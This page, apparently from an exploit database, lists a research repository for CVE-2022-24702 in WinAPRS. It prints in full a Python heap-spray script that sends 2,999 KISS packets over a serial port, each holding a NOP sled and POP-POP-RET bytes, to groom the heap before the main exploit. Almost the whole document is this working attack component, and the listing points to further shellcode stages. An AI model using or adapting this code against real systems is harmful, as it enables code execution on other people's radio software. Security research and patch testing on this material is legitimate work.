Exploit databaseDownload repository ZIP
GH-325048d2635599f964dc204f0646969e
coalfire-research/winaprs-exploits
Sources for CVE-2022-24702
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files6
coalfire-research/winaprs-exploitsRevision 97a924096e3c
- ↑..Parent directory
- heap_spray.py
- heap_spray_large.py
- stage1-shellcode.py
- stage2-shellcode.py
- stage3-shellcode.py
- winaprs_exploit_win10.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
Windows 10/heap_spray_large.py
Python · 1,942 bytes#!/usr/bin/python
import sys
import socket
import serial
import time
# This script will send KISS packets to the COM port. It sends 2999 packets containing a NOP
# sled followed by POP EAX, POP EAX, RET. Execute this script first to groom the heap, then
# exploit the OS. The heap address changes each time WinAPRS is run, so this only works probably
# less than 1/3 of the time. The address in the exploit must be updated to work for this heap. It
# is preconfigured to use a heap address for smaller packets.
message = b""
message += b"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
message += b"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
message += b"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
message += b"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
message += b"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
message += b"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
message += b"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
message += b"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
message += b"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
message += b"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
message += b"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
message += b"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
message += b"\x58\x58\xc3" # POP EAX, POP EAX, RET
ser = serial.Serial('COM6', 9600)
input("Press enter to send 2999 packets")
for i in range (0, 2999):
print(i)
ser.write(b"\xc0\x00\xae\x9e\xa4\x98\x88\x40\x60\x96\x8a\x6e\xb0\xb0\xb0\x61\x03\xf0" + message + b"\xc0")